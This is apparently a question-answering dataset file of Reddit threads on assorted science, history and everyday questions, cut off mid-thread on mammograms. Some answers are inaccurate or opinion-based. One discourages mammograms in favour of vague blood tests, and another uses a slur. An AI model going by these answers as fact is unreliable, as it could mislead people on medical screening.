{"q_id": "egb5up", "title": "why does fat melt when it is heated ( eg. fat cheese ) and does it act the same in our bodies ?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/egb5up/eli5_why_does_fat_melt_when_it_is_heated_eg_fat/", "answers": {"a_id": ["fc5ct9r", "fc5dk0h", "fc5p9fb"], "score": [9, 20, 2], "text": ["It melts just like ice does. Like little molecules of each solid (ice or fat) are always vibrating to some degree. Temperature itself measures how much the molecules are vibrating. So as temperature increases, the molecules vibrate more and become more likely to break away from their neighboring molecules. Solids are defined as molecules that are stuck together, while liquids are molecules that are weakly attracted to each other and instead move around each other like a fluid", "Within the human body, fat is contained inside cells. As long as those cells remain intact, the fats within cannot melt. Or rather, they're already liquid. Cheese is not made of cells, it's just a block of solid fat, so is free to melt and solidify as it wishes. Theoretically, you could solidify the fats inside human cells if you wanted to, for example, by putting a human in a freezer for an extended period of time.", "You can melt human fat. You can do pretty much anything with it you can do with a normal fat.  [_URL_0_](_URL_0_)"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], ["https://www.theguardian.com/culture/2019/mar/13/its-very-good-how-soap-made-from-siphoned-human-fat-left-audiences-in-a-lather"]]}
{"q_id": "3xfnfm", "title": "with the cisa being passed, what were some documented examples of the patriot act abuse?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/3xfnfm/eli5_with_the_cisa_being_passed_what_were_some/", "answers": {"a_id": ["cy498dh"], "score": [2], "text": ["The very first prosecution under the Patriot Act was a farfetched abuse of a man who was merely convicted of running a money fowarding service without a state license. But he had an Arabic-sounding name and the Bush administration wanted him sentenced as a terrorist. Federal Judge Robert Keeton was outraged: \"You\u2019re trying to ask me to sentence him as a terrorist. It shocks my conscience that I would even be asked to do that.\u201d\n\nYou can Google \"patriot act abuse\" and find long, chilling lists of over-reach that ought to give any decent person pause."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "1rzl3v", "title": "nearly 30 years after the iran-contra affair, why is there still such little discussion of the cia's verified involvement in drug trafficking?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/1rzl3v/eli5_nearly_30_years_after_the_irancontra_affair/", "answers": {"a_id": ["cdsh51e", "cdsjij8", "cdskl0z", "cdskmcp", "cdskvaf", "cdsl5ul", "cdslbcj"], "score": [2, 6, 6, 2, 5, 3, 2], "text": ["There is a good book called \"Air America\" documenting the CIA involvement in clandestine airborne operations throughout china, Burma, Vietnam Cambodia and Laos from the 1950's through to the 70's. It's well worth a read and sheds significant light on the complicity and facilitation of movements of drugs and guns for various warlords who the CIA were backing covertly.", "Ahhh yes...do as we say, not as we do. They do it, and it's in the \"interests of national security\", but when anyone else does it they are criminals who deserve to go straight to prison.", "In short, the media is oriented towards selling consumer goods, not upholding the facets of democracy.  The \"free press\" is more concerned with making money than exposing the truth.", "1) No one really cares that the CIA was involved in the drug trade or the gun trade. They're a covert spy system that has been romanticized in American culture. People think it's cool. Then and now. \n\n2) TECHNICALLY they didn't break any laws. Even local police forces dabble in drugs in order to hunt down larger networks of drug dealers/larger criminal organizations. Little fish-big fish theory. \n\n3) I wouldn't say that the Iran-Contra Affair is the biggest scandal in 50 years. It breaks the top 5 and is easily the biggest in the last 30 years, but I don't think it beats Watergate. Nixon retired because of Watergate. ", "Media don't poke the CIA hornet nest (or the government in general) because they don't have a reasonable expectation it is a battle they can win. When the media does challenge the government, it's generally for small ball stuff (some agency spent $5 million on a party, some legislator snorted cocaine off a hooker) rather than large-scale corruption, mass murder, or serious questioning of policy.\n\nAnd if the media stay away from the story, then the public is going to be unaware it happened.  Tree falling in the woods and all that. People generally believe their own government is doing good things, and would need to be shown otherwise when it's not the case (and even then, they are likely to be in denial before there is acceptance.\n\n(As for the topic, we don't really know, of course, if it was CIA policy, or if rogue elements within the CIA were acting on their own behalf.)", "I have asked this same question to myself.  All the answers I come up with are pretty unsatisfing and paint our culture, society and government in a poor light.  I think it emphasizes the point that drug money and our political machinery are strongly tied together.  Keeping drugs illeagle makes them more valuable and in that value there is money and power.  Certain elements of our government (the DEA, law enforcement, prison systems, some politicians, etc) really on this income.  They then use this income and clout to influence the politic establishment to maintain the current system by which they profit.  Also, non-governmental groups really on this system for their power and income as well.  For example, many drug dealers do not want their product legalized either, for they would also lose out. In the extreme, you can see examples of this situation in Mexico where cartels ARE the government in many areas.  You be better served with Zetas stamping your passport rather the officially recongnized country.  All because of prohibition.  The bottom line is that the war on drugs is profitable to both our government and criminal organizations.  They are incentivized to fight each other for their share but neither want to change the system.  All those who have this power will want to sweep issues like Iran/Contra under the table because it threatens their livelyhood.  All they need is for the plebians (us) to act like, well... plebians.  We seem more than happy, overall, to fill that role.", "When one is providing financial assistance to counter-revolutionaries, one has to expect that people engaged in violent overthrow of a nation state might not turn up their noses at other illegal practices. The CIA picked the Contras because they were counter-communists, not because they were drug-traffickers.  The drug trafficking was incidental to the anti-communist mission.  If the CIA funded drug traffickers just for the \"love of the game,\" that would be a scandal."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], [], [], []]}
{"q_id": "4x1myj", "title": "how do people on drugs, such as meth, supposedly get superhuman strength, taking multiple people to subdue them etc?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/4x1myj/eli5_how_do_people_on_drugs_such_as_meth/", "answers": {"a_id": ["d6bnx1o", "d6bny01", "d6bny75"], "score": [3, 65, 14], "text": ["essentially the same as 'retard strength' \n\nthe drugs stop the brain for realising it is risking damaging your body, so it continues to apply force when normally you would have pains etc.  ", "People are generally stronger than we think. We have built-in safety margins, like the warning line in a pressure valve, so that we don't accidentally injure ourselves... these safety margins are often very cautious, preventing us from exerting anything like our full possible force (except for in emergencies, where things like adrenaline shut down some of the safety mechanisms).\n\nSome drugs either directly shut down the mechanisms (by triggering or emulating surges of the relevant hormones), or otherwise prevent us from being aware of them.\n\nA big part of these mechanisms is pain responses. Drugs often significantly mute pain.\n\nSo, you have a person who is unaware of pain and is being as frantically strong as people can be in a severe panicked emergency, versus people who are still very aware of their own pain and perceived limits (and who are often trying to not severely injure the target).\n\nSo, it's not that the person has _extra_ strength from somewhere, it's that a person who has had all the limits taken off, against people who are still severely limited in multiple ways, _appears_ superhuman.", "Your body normally limits the amount of force your muscles place on themselves, your ligaments, joints and bones, because it is possible to damage them. It is not unknown for someone to rip a bicep muscle clean off their forearm, or for an arm-wrestler to break a bone.\n\nWhen on certain drugs, the body's protection mechanisms can shut down. The body's chemistry is so far out of whack it acts like it is in a life-and-death struggle, where it requires all the strength it can muster to survive."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], []]}
{"q_id": "1dq2e2", "title": "Did FDR have something similar to a \"cult of personality\" during his presidency?", "selftext": "Certainly he didn't have the kind of cult of personality that Stalin, Mao, or Hitler had. However, I watched a documentary on FDR which said a large amount of Americans had his picture in their homes, which would be unheard of today. One person interview recalled a man in a barbershop getting thrown out for making a slight joke about the president. Not to mention that he was elected for an unprecedented four terms. Given that he helped the country through the Depression and World War II, did Americans acquire a devotion to FDR that other few living figures in American History ever had? ", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/1dq2e2/did_fdr_have_something_similar_to_a_cult_of/", "answers": {"a_id": ["c9t3y0o"], "score": [3], "text": ["Franklin Roosevelt was extraordinarily popular, to the degree that some people who disliked his policies would still claim to respect him as a leader. Having portraits like that in one's home is not as uncommon as you might think though and occurred as recently as the 1960's with people hanging portraits in memory of JFK (and I myself am sitting under a poster with both FDR and Truman on it right now). \n\nThe best demonstration of this popularity though was the public reaction to FDR's death. There are some very famous and moving photos of crowds broken down in tears during Roosevelt's funeral procession. The most famous is probably [this picture of Graham Jackson weeping](_URL_1_) as he plays [\"Goin' Home\"](_URL_0_) in Warm Springs right after FDR's death. Unlike the other leaders on your list, FDR's popularity was less a result of direct propagandizing by the state, though one shouldn't discount the influence of his Party. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://www.youtube.com/watch?v=ofULnIeo3I8", "http://1.bp.blogspot.com/_TkJUsR3U9aQ/TJ8U_89ipeI/AAAAAAAAAIA/7y13ppmKR8s/s1600/Graham+Jackson,+tears,+roosevelt+funeral.jpg"]]}
{"q_id": "c1fq66", "title": "Which specific advancements have led to the size decrease of household AC-DC adapters?", "selftext": "In the last 15-20 years AC-DC chargers and power adapters have shrunk significantly with many offering substantially higher power output. I have an older iPod charger (pre-iPhone) that is as big or even bigger than the current crop of MacBook chargers and it outputs a measly 2.5W and the current phone chargers are much smaller and can do 10W at least with fast chargers going much higher.", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/c1fq66/which_specific_advancements_have_led_to_the_size/", "answers": {"a_id": ["ercxjqy", "erczljx", "erdm7co", "erdznyq", "ere16ai", "eredzbm"], "score": [121, 7, 14, 2, 3, 2], "text": ["The biggest improvement is when we went to switching converters - instead of having a transformer that needs to handle line voltage (120/240VAC) - which by their nature require some physical size to the transformer to be able to withstand the relatively slow AC wave.\n\nTransformers are a type of inductor, and in order to keep currents reasonable and not generate too much heat in the wires, you need a lot of inductance.  Large inductances that can handle more than a tiny bit of current need more mass.\n\nModern switching converters don't operate at 50 or 60Hz, they operate at much higher frequencies, and don't need as much physical size to hold the current back for the shorter duration of the switching pulses.\n\nAnother way of looking at it, the bigger a transformer is, the more energy it can transfer per cycle - cheaper electronics have made it practical to use smaller transformers with a faster cycle speed generated inside the power adapter, rather than linking it to the line frequency.\n\nBeyond that, capacitors have gotten smaller as well, semiconductors have gotten more well integrated, and various other things have been incrementally shrunk.  But the biggest single improvement is the smaller transformer.\n\n---\n\nHowever, to directly answer your question, we've been using switching converters for most products in the last 15 years, and certainly for all of the devices you mention.  In that timeframe, it's been a lot of those incremential improvements, including efficiency improvements that allow the adapters to be smaller.  Efficiency is a huge deal because you can only dissipate as much heat as you have surface area or airflow, and without cranking up efficiency, it's hard to get small, especially when surrounded by an insulating plastic case.  But it's difficult to point at any one improvement for that.\n\nHere's a list of the general areas that improved:\n\n* Transformers with lower losses - better winding patterns, more accurate manufacturing, better core designs\n* Switching transistors with lower losses (MOSFETs especially at this power level, mentioned by /u/Doctor_Mudshark)\n* Active rectification (using MOSFETs instead of diodes to rectify, as the MOSFETs can be turned on to nearly eliminate their voltage drop)\n* Active PFC circuits that can build up a higher voltage for the transformer, letting it run more efficiently - any efficiency gain within the adapter is just a side effect of its primary function (Power Factor Correction) - making the adapter more well behaved on the power grid - drawing more current when the voltage is higher, like a dumb light bulb does, instead of drawing more current when the voltage is lower (or other more complicated patterns), which leads to higher losses for the power company, were it not corrected.\n* Cheap and small controller chips that can help optimize how power supplies function vs just a simple oscillator, as well as add safety features\n\nThese are just some general areas that have gotten better - I'm probably forgetting a bunch!", "Switching mode power conversion reduced the size of the magnetics (transformers) needed, and improvements in transistor manufacturing technologies (particularly MOSFETs) have made switching mode power supplies much cheaper and more efficient.", "Traditional ones use transformers, which have heavy iron cores.  Transformers are really inefficient at low frequencies. (60hz for US outlets)  It's literally just an iron square with wire wrapped in loops on one side going to the wall outlet, and another wire in loops around the output side.  The ratio of the number of loops for each side dictates the voltage step up or down.  They're very simple but very large, heavy, and inefficient.\n\n & #x200B;\n\nNew supplies are switching supplies.  They convert the wall AC to DC, then a controller chops it into really high frequency pulses.  Transformers are much more efficient at high frequencies, so these just need tiny transformers.", "cool, I learned some new things from that.\n\nthere's an advert by a company that miniaturizes AC/DC adaptors here:\n\n[_URL_0_](_URL_0_)\n\nand a teardown af a samsung adaptor here:\n\n[_URL_1_](_URL_1_)", "TL;DR is advances in electronics - components have gotten smaller, cheaper, and more efficient.\n\nIn the slightly longer... in the olden days, components were expensive and copper was cheap, so big transformers and then some low-efficiency linear reg was cheaper than a more complicated power supply with a smaller transformer.\n\nLikewise, older computer cables used many many wires in parallel to send data because that was cheaper to have a huge connector  &  chunky cable with minimal electronics at either end. Now we have a USB cable with only 4 wires and a lot of electronics at each end driving it.\n\nNow we can pack very clever (and small  &  fast) electronics in for cheaper than we could stuff a big dumb chunk of copper in.", "We've been using switched mode power supplies almost exclusively for over 25 years. More recent improvements come from making them more efficient and smaller. Two improvements allow this, one is running them at higher frequency so the magnetics can be smaller, and the other is more efficient semiconductors that can switch through the 'on' to 'off' state faster, so they dissipate less heat. We are starting to use gallium nitride and silicon carbide for this, although ordinary silicon fets and hemt are still widely used."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], ["https://youtu.be/lJYvwYVylQI?t=52", "https://youtu.be/9xpHsnY8oc0?t=136"], [], []]}
{"q_id": "71ud3u", "title": "Who were the tunnelers in WW1 and why were they so respected?", "selftext": "I am watching Peaky Blinders, and one of the main characters Tommy Shelby used to be a tunneler during WW1. Post-war he is recruited by the British crown to carry out assassinations, so he decides to contact Sir Winston Churchill to guarantee his safety. When reading out his letter, they note that he got a DCM and fought at the battles of Somme and Verdun. Upon reaching the part that he was a tunneler, everyone in the room is impressed and the atmosphere changes completely.\n\nWho were the tunnelers and what did they do to earn the respect of Winston Churchill and a bunch of other aristocrats in the tv show? ", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/71ud3u/who_were_the_tunnelers_in_ww1_and_why_were_they/", "answers": {"a_id": ["dne6nyg"], "score": [12], "text": [" > Sometimes a fight would take place in a tunnel - 4 feet x 3 feet - and in the dark you didn't know who you were fighting. The only thing was to put your hand over quick to feel if the man had any epaulettes; the Germans used to have epaulettes on the shoulder and we could tell that way. The knuckle knife was very good. One of our officers invented that. It was a specially made knife with a blade about five inches long which was fitted to a brass frame over our hand and strapped to our wrist, so when our fist was closed the knife was at a right angle to our arm. It was silent in action - very handy, especially for raiding galleries.\n\n\n > Lieutenant John Westacott, 2 Canadian Tunnelling Company, quoted in *Beneath Flanders Fields* by Barton, Doyle  &  Vandewalle\n\n\nThis quote gives a tiny snapshot of just one of the horrors faced by men of the Tunnelling Companies as they worked beneath the battlefields of WW1, and gives a hint of why they were held in respect by those who knew what their work entailed. I don't know about Churchill or the aristocracy in general, but Field Marshall Haig wrote the following message when the Companies were rapidly disbanded after the Armistice to release desperately-needed skilled labour:\n\n > A large number of men are now being withdrawn from the Tunnelling Companies for urgent work at home.\n\n\n > Before they leave the country I wish to convey to the Controllers of Mines and all ranks of the Tunnelling Companies, both Imperial and Overseas, my very keen appreciation of the fine work that has been done by the Tunnelling Companies throughout the last four years.\n\n\n > At their own special work, Mine Warfare, they have demonstrated their complete superiority over the Germans, and whether in the patient defensive mining, the magnificent success at Messines, or in the preparation for the offensive on the Somme, Arras and Ypres, they have shown the highest qualities both as Military Engineers and fighting troops. \n\n\n > Their work in the very dangerous task of removing enemy traps and delay-action charges... has been on a level with their work on the mines.\n\n\n > They have earned the thanks of the whole Army for their contributions to the defeat of the enemy. Their fighting spirit and technical efficiency has enhanced the reputation of the whole Corps of Royal Engineers.\n\n\nThe tunnellers were essentially men working underground, best known for mining operations, but also responsible for building other subterranean works, such as key dugout complexes (some holding up to 600 men) and subways (huge shelters to move and protect large bodies of troops forming up for an attack, sometimes including concealed exits out into no-man's land which would be blown at the key moment to allow troops to pour out close to the enemy line, rather than attacking from their own trenches).\n\n\nBut it was the mining operations that were the best known and most terrible facet of the underground war. Mining (digging under no-man's land towards the enemy trenches) was first used offensively by the Germans on their VII Corps front around Givenchy-Festubert on 20 December 1914, when they detonated 10 'small' (by later standards) explosive charges under the trenches of the Indian Army's Sirhind Brigade. This surprise was followed by an immediate and very successful infantry assault that drove the stunned Indians back 500 yards to their reserve lines.  \n\n\nThe British had already been mining defensively to protect against enemy tunnelling, but this attack prompted them to go on the offensive too. The Royal Engineers were already overstretched, so the first efforts involved scouring front-line units for men with mining experience, then looking at home for men such as coal miners, men who had worked on digging the London Underground train system, and sewer workers. In some cases these men had virtually zero military training - in one case a group of Manchester sewer workers went from working in the sewers to tunnelling on the Givenchy front in just five days, forming the nucleus of 170 (Tunnelling) Company, RE, in February 1915. Rapid expansion followed. \n\n\nWhole volumes have been written on the work of the Tunnelling Companies, but a quick overview of a mining operation is as follows. A deep shaft would first be sunk in the friendly trenches, with a 'shaft house' at the entrance for the air pump etc. Narrow tunnels (known as 'galleries') were then driven underground towards the enemy line. The work was complicated by the fact that it had to be done as silently as possible, as the enemy miners were driving their own galleries in the opposite direction, and each side would be listening out for any sound made whilst working. Once under the enemy position, a mine chamber would be dug out and packed with explosives, which would be fired electrically at a key moment, usually a series of them at the start of a major offensive.\n\n\nThere were obviously huge dangers involved for the men working below ground. These ranged from the natural - such as collapses and carbon monoxide build-up - through to viscous combat with enemy tunnellers. If the other side heard you digging nearby, they might set an explosive charge, called a *camouflet*, in their own tunnel and set it off to kill or trap you underground. One side might also break into the other's tunnel system and brutal, often hand-to-hand, fighting would ensue, which again would end with charges being set off to wreck the earthworks and kill or trap the enemy miners.\n\n\nTowards the end of the war, as action became more mobile and less trench-bound in 1918, the Tunnelling Companies moved on to yet more dangerous work above ground, dealing with booby-traps and unexploded shells, including gas. I think, then, it is the sheer amount of danger that they faced that would earn a man involved in tunnelling great respect from those who understood what his work entailed.\n\n\n > Main source is *The Western Front Companion* by Mark Adkin, which features an excellent section on mining operations.\n"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "5q5uts", "title": "If two video projectors play a movie in adjacent walls and their image beams cross each other, would there be any measurable degradation to the quality of the images?", "selftext": "", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/5q5uts/if_two_video_projectors_play_a_movie_in_adjacent/", "answers": {"a_id": ["dcwnj4m", "dcx2ush"], "score": [29, 3], "text": ["No, the photons themselves don't interact with each. If you had a bright enough beam you might get some non-linear effects as the light might affect the air and thereby the other beam, and quantum mechanics allows photons to [become other things that can interact with photons](_URL_0_), which could cause some very weak scattering, but in your scenario these sorts of things just aren't relevant.\n\nThe biggest issue might be if you had dust of fog in the atmosphere scattering light, then there would be a volume where the dust would be more illuminated.", "I used to think something similar to this. \"If I shine two lasers at each other - with identical wavelength and power - then they will interact with one another at the middle point, creating a dot of light in mid-air, like a hologram\".\n\nUnfortunately, not the case. And the amount of energy required for two beams to observably (measurably) interact with one another would be staggering."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["https://en.wikipedia.org/wiki/Two-photon_physics"], []]}
{"q_id": "17tk0v", "title": "If you farted in to a jar and sealed it, would it still smell when you opened it, after say, 50 years?", "selftext": "", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/17tk0v/if_you_farted_in_to_a_jar_and_sealed_it_would_it/", "answers": {"a_id": ["c88s02q"], "score": [2], "text": ["Well, I'm not an expert, but I am a science enthusiast and gathered some information.\n\nFirst I looked up what gasses would a human fart mainly consist of and based on the Wikipedia article: \n_URL_2_\n\nI get \"These include oxygen, nitrogen, carbon dioxide, hydrogen and methane\"\n\nI also was thinking about what my Physics professor told me about the gas in some vacuum tubes escaping.\n\nHe mentioned two terms: \"diffusion\" and \"permeation\"\n\nFrom this Wikipedia article:\n_URL_0_\n\n\"Permeation, in physics and engineering, is the penetration of a permeate (such as a liquid, gas, or vapor) through a solid, and is related to a material's intrinsic permeability\"\n\nSo I think another factor would be, what is the container made of: glass, plastic, etc.\n\nAnother factor based on what I've been looking through is whether of not the glass is porous or non-porous\n\nPorous - possessing or full of pores\n\n_URL_1_\n\nI don't have a whole lot of time (I'm at work). But this seems it might be a start\n\nEDIT: fixed URL"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://en.wikipedia.org/wiki/Permeation", "http://www.merriam-webster.com/dictionary/porous", "http://en.wikipedia.org/wiki/Flatulence"]]}
{"q_id": "fvd31w", "title": "ice cream headaches?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/fvd31w/eli5_ice_cream_headaches/", "answers": {"a_id": ["fmisqba"], "score": [2], "text": ["There are loads of theories about this. \n\nIt seems pretty simple, though. When you eat lots of ice cream very quickly the blood going to your brain is cooled below body temperature and the brain doesn't like that at all. The temperature drop is felt in your head as pain. It goes away when you stop eating cold stuff and the blood going to your brain is warm again. \n\nOne old chestnut is that it's your brain being confused because of the cold food in your stomach. This makes no sense at all. For one thing the headache comes on before the food even reaches the stomach and goes away before the food could possibly be warmed up. \n\nThe carotid arteries are very close to the upper part of the oesophagus. Close enough to cool the blood by at least a few degrees of whatever you were eating (or drinking) was cold enough. \n\nThe clincher, though, is that the same thing happens if you hold a very cold coke over both carotids for a few seconds. I don't recommend it. You'll have a cracking headache!"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "c0rms0", "title": "why does spit/saliva work well as lube whereas water does not?", "selftext": "ELI18 I guess", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/c0rms0/eli5_why_does_spitsaliva_work_well_as_lube/", "answers": {"a_id": ["er73dvj", "er73s40"], "score": [13, 4], "text": ["Spit contains tons of little protein chains!  It's just like egg white, ejaculate, or mucus (well, it is mucus, watered down).  It's why the egg white or the snot can stretch so far before the strands snap.\n\nSo, those chains have a sort of tensile strength, but they're slippery against one another, and that allows them to lubricate.", "It's all about the enzymes: amino acid protein chains. \n\nYour spit is loaded with such enzymes, because spit is designed to help lubricate your food, so that your food slides down your esophagus more easily.\n\nWhere-as regular tap water does NOT contain all those enzymes. \n\n(At least it shouldn't! If it does--definitely don't drink that water!)"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "9q49hx", "title": "why is it that when briefly putting your hands under hot water they sting more after taking them out of the hot water more than when in it?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/9q49hx/eli5_why_is_it_that_when_briefly_putting_your/", "answers": {"a_id": ["e86lp3q", "e86nz5g", "e86q1ps", "e86q9gf"], "score": [5, 3, 3, 2], "text": ["This won't be the most scientific answer, but here you go:\n\n & #x200B;\n\nYour nerve system has a 'short' where the sting signal goes from your hands, through your arm, to your spinal column, then bounces back to your arm where you feel instant pain. The body's reaction is to pull your hands out of the hot water. The second sting you feel is the signal traveling to your brain, being processed up there, then getting sent back down to your hands.\n\n & #x200B;\n\nIt's an evolutionary adaptation to preserve the body in potentially dangerous situations.", "Here's a simple, but scientific answer, emphasizing 3 parts to the pain response.  \n\n1.  You have nerve fibers of various sizes throughout your body with different roles that correspond to their size.  Large fibers control your muscles and sense of balance.  The smallest fibers are responsible for pain.  It so happens that the speed of the signal along those fibers also varies with fiber size - the small fibers responsible for transmitting pain information are the slowest, and are actually quite slow - on the order of a couple meters per second.\n\n2.  You have to stimulate a pain \"transducer\" - something that sense the excessively hot material and triggers the nerve to transmit a signal.\n\n3.  Your brain has to interpret the nerve signal as pain; it's not immediately obvious how that happens, and not absolutely certain that it even will happen.\n\nSo in the end, you have 3 distinct processes that each take time.  For whatever reasons you care to believe, the response of the human body to immersion in painfully hot water can take several seconds.", "There is something in your nervous system called a 'reflex arc' which connects receptors in your skin to muscles only through the spinal cord. It works without your brain receiving or sending any signals, so it is much faster. It's designed for harmful conditions, like excessive heat to prevent damage by reacting very fast.\n\nWhen you put your hands in hot water this short and fast 'reflex arc' takes control and withdraws your arm. Signals about the pain also get sent to your brain, but they arrive slower, when your hand has already been pulled out of the immediate danger.\n\nThank you evolution!", "This delayed response will actually always happen, you just notice it more when you've taken hour hands out before the deeper sting sets in.\n\n & #x200B;\n\nEverything you feel comes from messages your body sends to your brain through nerves, which are like electrical cables. Some nerves are faster than others. There's a set of very fast nerves which tell your brain about pain in localized areas so that you can do something immediately, and also a slower set that makes you feel deep burning pain from things like heat exposure. Hot water activates both, but you don't feel the second deeper burn until a moment later - these nerves take about a second to send the signal the roughly one meter to your brain.\n\nAs another commenter mentioned, there are also nerves that go from your body's sensors right back to your muscles without ever going to your brain. These are called relex arcs. This means that if you do something like touch a hot stove, your body will actually pull your hand away before you even feel the -first- pain from the fast signal that goes to your brain.\n\nI'm not sure if it's ok to link videos, but if you want more information I just recently made a video about the funny bone which explains how nerve impulses work: [_URL_0_](_URL_1_)"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], ["https://www.youtube.com/watch?v=\\_zwX-55QvSE&amp;t=1s", "https://www.youtube.com/watch?v=_zwX-55QvSE&amp;t=1s"]]}
{"q_id": "ced4tc", "title": "why do mammograms require the breasts to be squished flat when we are able to take x-rays and ultrasounds through fat and muscle masses?", "selftext": "I\u2019ve never had a mammogram so I actually don\u2019t know how it works. Only heard the jokes about how they squish your breasts and that it hurts. We were talking about how men can have breast cancer so why don\u2019t they get mammograms? (Maybe they do). Then we laughed as we pretended to slip a tiny man boob into an imaginary mammogram machine (that I\u2019ve never seen).\n\nSo I thought they can do X-rays and stuff. Why do they *have* to torture you to get the results. Did some sick doctor invent the machine, laughing the whole time about how evil and unnecessary it is? /s \n\nBiology tag? Idk.", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/ced4tc/eli5_why_do_mammograms_require_the_breasts_to_be/", "answers": {"a_id": ["eu1qars", "eu1qbg4", "eu24vqc", "eu28ng7", "eu29qvc", "eu2kon8", "eu2ll9j", "eu2lpxs", "eu2nvbq", "eu2o3f7", "eu2o7qb", "eu2oqrj", "eu2p58t", "eu2pxqa", "eu2tr5m", "eu2uic9", "eu2wijl", "eu2xz66", "eu30jrq", "eu316yd", "eu33knw", "eu36dau", "eu397y6", "eu39iv3", "eu3abnr", "eu3ahw5", "eu3bdvr", "eu3dmlv", "eu3l2qi", "eu3ml4w", "eu3nwzk", "eu3ny32", "eu3p1lt", "eu3p8pf", "eu3q7u1", "eu3qh6b", "eu3tjgg", "eu3uoy5", "eu3xncy", "eu3xsa6", "eu3y4ph", "eu40amo", "eu40ysl", "eu43isc", "eu461wl", "eu4bzjw", "eu4w927", "eu5wxgl"], "score": [4295, 176, 721, 7, 121, 9, 2, 6, 6, 2, 9, 7, 18, 2, 3, 2, 2, 2, 2, 7, 2, 2, 2, 2, 8, 2, 2, 84, 2, 9, 3, 3, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2], "text": ["X-rays are partially absorbed as they travel through flesh.  They are slightly more absorbed in some lumps, but it's not the \"broken bone\" sort of X-ray you might be thinking of.  To get enough contrast to spot lumps, the X-ray beam needs to be tuned to the amount of flesh it's passing through.  That's made a lot simpler by squishing the breast into a slab of uniform-ish thickness.  Since the natural shape is more hemispherical, some force is required.  The breast is also well instrumented with nerves, so the force can be painful.", "The mammogram is a 'low energy' x-ray, which means everything has to be a lot closer for it to work. In the case of a mammogram you are looking for denser tissues which are pretty hard to pick up on an x-ray. If you look at a chest film you can make out the heart but not a huge amount of intricate detail of the heart, you need more advanced imaging for that. The heart is a nice dense muscle, a mammogram is looking for tiny dense tissue patches. \n\nI am not in love with mammograms as a diagnostic test. Statistically they have an alarming rate of false positives and false negatives. I think they removed the yearly mammogram requirement unless you are in a risky group because women would get a normal mammogram (false negative or not) and feel 'safe' for the next year. Well, that is a problem because you may start developing cancer a month after your mammogram and unless you are doing really close self-examinations you wont detect that new cancer for 11 months. There are cancer screening blood tests that I think are better, they can detect the possibility of any cancer. If that pops abnormal then go looking with radiation. That is how they treat my mother now, a 5-year (stage 2 b) breast cancer survivor.", "I have a question too then: How does this work on women with flat chests? Do they just get a normal chest X-ray?\n\n & #x200B;\n\nEDIT: Thank you for all your answers", "If you had a regular chest X-ray, the breast tissue would be obscured by the ribs and by the internal organs, such as the lungs. You would not be able to get an accurate picture of the breast tissue. \n\nMammograms are designed to position the breast tissue away from the rest of the chest, and immobilize the tissue long enough to get a good picture. \n\nAll X-rays require stillness in order to get a clear picture, and breasts are not rigid enough to stand on their own. You also can\u2019t just hold them up with your hands, or your hands would block the views. So, the mammography machine does it all: positions the breast, immobilizes the breast, and takes the picture. \n\nUltrasounds are used as the next step in breast cancer screenings. When an abnormality has been detected via mammogram, or when the mammogram is unable to get a clear picture of an area, then they will perform a breast ultrasound.", "There\u2019s physics behind it.\n\nWhen we take an X Ray, we place a part of the body between two sides of a device - one shoots a ton of x-ray particles through the tissue, the other side detects how many x-rays pass through the tissue. When the x-ray particles are shot through the tissue, three things can happen:\n\n1) absorption: they get absorbed by our body\n2) transmission: they pass through our body completely\n3) scattering: they can hit something along their trajectory and change angle, but still pass through the body.\n\nThe reason a mammogram works is because cancer tissue and other dense types of tissue absorb different amounts of particles from normal tissue, so when we see how many pass through at the detector we can see whether there\u2019s a tumor and how big it is. \n\nThe scattering part is a confounding factor though: we mainly just want to look at the difference between 1 and 2. If some of the particles are changing direction, our imaging can trick us, because the x-rays that go through the cancer tissue can look like they came from normal tissue at the detector (or vice versa).\n\nTo minimize that problem, we have to shorten the distance between the two sides of the imaging device. So when the particles scatter and change angle, they travel as little as possible horizontally and we can be more confident that they came from the correct location/tissue type in the body. That means compressing the tissue if possible.", "Doctors of Reddit: why is MRI not used for these kinds of diagnostics. Is it cost or performance?", "Contrast - check . \n\nThe main reason is for consistency of thickness so the radiologist is comparing apples to apples .  Soft tissues isn\u2019t ideal for X-ray\u2014 so the technique is depending on secondary radiation from the soft tissues being struck not attenuated as in bone.\n\nThe thickness bit is why they keep you on the same machine even though they may get one with a soft plate. \n\nYes I\u2019m an RT.\n\nI did mamo for a while.\n\nSeriously ask for a male  to do your mamo.. they are way more gentle", "In addition to what everyone else has said about uniform thickness, the compression also helps spread out the tissue and separate it from the body. An mammogram is a 2d image of a 3d structure. Compressing the breast helps with tissue being 